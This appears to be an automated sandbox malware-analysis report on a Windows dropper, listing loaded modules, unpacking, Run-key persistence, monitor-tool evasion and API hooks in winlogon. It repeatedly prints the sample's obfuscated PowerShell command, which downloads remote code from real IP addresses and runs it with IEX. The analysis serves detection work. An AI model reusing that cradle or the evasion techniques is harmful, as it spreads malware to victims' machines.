                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dll
                      Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dll
                      Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dll
                      Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dll
                      Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dll
                      Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
                      Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
                      Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dll
                      Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32Jump to behavior
                      Source: Window RecorderWindow detected: More than 3 window changes detected
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                      Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: LB311.exe, 00000016.00000002.2401037551.00007FF767DEA000.00000040.00000001.01000000.0000000A.sdmp, Mig.exe, 00000040.00000002.2394931447.00007FF69874A000.00000040.00000001.01000000.0000000D.sdmp
                      Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: LB311.exe, LB311.exe, 00000016.00000002.2401037551.00007FF767DEA000.00000040.00000001.01000000.0000000A.sdmp, Mig.exe, Mig.exe, 00000040.00000002.2394931447.00007FF69874A000.00000040.00000001.01000000.0000000D.sdmp

                      Data Obfuscation

                      barindex
                      Detected unpacking (changes PE section rights)
                      Source: C:\Users\user\AppData\Roaming\LB311.exeUnpacked PE file: 22.2.LB311.exe.7ff767890000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pzdztcxp:EW;bppmbsab:EW;.pdata:R; vs :ER;.rsrc:W;bH!:W; :EW;pzdztcxp:EW;bppmbsab:EW;.pdata:R;
                      Source: C:\ProgramData\Mig\Mig.exeUnpacked PE file: 64.2.Mig.exe.7ff6981f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pzdztcxp:EW;bppmbsab:EW;.pdata:R; vs :ER;.rsrc:W;b2:W; :EW;pzdztcxp:EW;bppmbsab:EW;.pdata:R;
                      Suspicious powershell command line found
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/L.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/M.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/S.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/L.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X Jump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/M.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X Jump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/S.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X Jump to behavior
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: initial sampleStatic PE information: section where entry point is pointing to: bppmbsab
                      Source: LB311.exe.4.drStatic PE information: section name:
                      Source: LB311.exe.4.drStatic PE information: section name: .idata
                      Source: LB311.exe.4.drStatic PE information: section name:
                      Source: LB311.exe.4.drStatic PE information: section name: pzdztcxp
                      Source: LB311.exe.4.drStatic PE information: section name: bppmbsab
                      Source: LB311.exe.4.drStatic PE information: section name: .pdataI
                      Source: Mig.exe.22.drStatic PE information: section name:
                      Source: Mig.exe.22.drStatic PE information: section name: .idata
                      Source: Mig.exe.22.drStatic PE information: section name:
                      Source: Mig.exe.22.drStatic PE information: section name: pzdztcxp
                      Source: Mig.exe.22.drStatic PE information: section name: bppmbsab
                      Source: Mig.exe.22.drStatic PE information: section name: .pdataI
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_04C942BD push ebx; ret 10_2_04C942DA
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_04C9635D push eax; ret 10_2_04C96371
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_04C92CE9 push 04B807CCh; retf 10_2_04C92D0E
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_04C95DD0 push esp; ret 10_2_04C95DE3
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_04C96F1A pushad ; ret 10_2_04C96F23
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D4D868 push esi; retf 15_2_00D4D7F6
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D420C8 push edx; retf 15_2_00D420D6
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D4C8F8 push esi; retf 15_2_00D4C906
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D40904 push ebx; retf 15_2_00D40906
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D4B370 push 69D80282h; retf 15_2_00D4B37E
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D4636C push esi; retf 15_2_00D4648E
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D404F8 push ebx; retf 15_2_00D40502
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D49CE8 push esi; retf 15_2_00D49CF6
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D4D450 push esi; retf 15_2_00D4D7F6
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D4D408 push esi; retf 15_2_00D4D7F6
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D41DC0 push esi; retf 15_2_00D41DCE
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D405EF push edi; retf 15_2_00D4061A
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D46579 push esi; retf 15_2_00D46586
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D49E91 push edx; retf 15_2_00D49E9E
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D44E28 push edx; retf 15_2_00D44E36
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D45798 push edx; retf 15_2_00D457A6
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D4A7B9 push edx; retf 15_2_00D4A7C6
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D45750 push edx; retf 15_2_00D4575E
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D45F78 push esi; retf 15_2_00D45F86
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D4CF1B push esi; retf 15_2_00D4CF26
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D01659ACDD push rcx; retf 003Fh55_2_000002D01659ACDE
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165FC6DD push rcx; retf 003Fh55_2_000002D0165FC6DE
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F14FACDD push rcx; retf 003Fh58_2_000002D6F14FACDE
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F152C6DD push rcx; retf 003Fh58_2_000002D6F152C6DE
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FBACDD push rcx; retf 003Fh66_2_0000014E41FBACDE
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FEC6DD push rcx; retf 003Fh66_2_0000014E41FEC6DE

                      Persistence and Installation Behavior

                      barindex
                      Uses ipconfig to lookup or modify the Windows network settings
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
                      Source: C:\Users\user\AppData\Roaming\LB311.exeFile created: C:\ProgramData\Mig\Mig.exeJump to dropped file
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\LB311.exeJump to dropped file
                      Source: C:\Users\user\AppData\Roaming\LB311.exeFile created: C:\ProgramData\Mig\Mig.exeJump to dropped file

                      Boot Survival

                      barindex
                      Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
                      Source: C:\Users\user\AppData\Roaming\LB311.exeWindow searched: window name: FilemonClass
                      Source: C:\Users\user\AppData\Roaming\LB311.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                      Source: C:\Users\user\AppData\Roaming\LB311.exeWindow searched: window name: RegmonClass
                      Source: C:\Users\user\AppData\Roaming\LB311.exeWindow searched: window name: FilemonClass
                      Source: C:\Users\user\AppData\Roaming\LB311.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                      Source: C:\Users\user\AppData\Roaming\LB311.exeWindow searched: window name: Regmonclass
                      Source: C:\Users\user\AppData\Roaming\LB311.exeWindow searched: window name: Filemonclass
                      Source: C:\Users\user\AppData\Roaming\LB311.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                      Source: C:\ProgramData\Mig\Mig.exeWindow searched: window name: FilemonClass
                      Source: C:\ProgramData\Mig\Mig.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                      Source: C:\ProgramData\Mig\Mig.exeWindow searched: window name: RegmonClass
                      Source: C:\ProgramData\Mig\Mig.exeWindow searched: window name: FilemonClass
                      Source: C:\ProgramData\Mig\Mig.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftJump to behavior
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

                      Hooking and other Techniques for Hiding and Protection

                      barindex
                      Hooks files or directories query functions (used to hide files and directories)
                      Source: winlogon.exeIAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile
                      Hooks processes query functions (used to hide processes)
                      Source: winlogon.exeIAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation
                      Hooks registry keys query functions (used to hide registry keys)
                      Source: winlogon.exeIAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey
                      Loading BitLocker PowerShell Module
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                      Modifies the prolog of user mode functions (user mode inline hooks)
                      Source: winlogon.exeUser mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
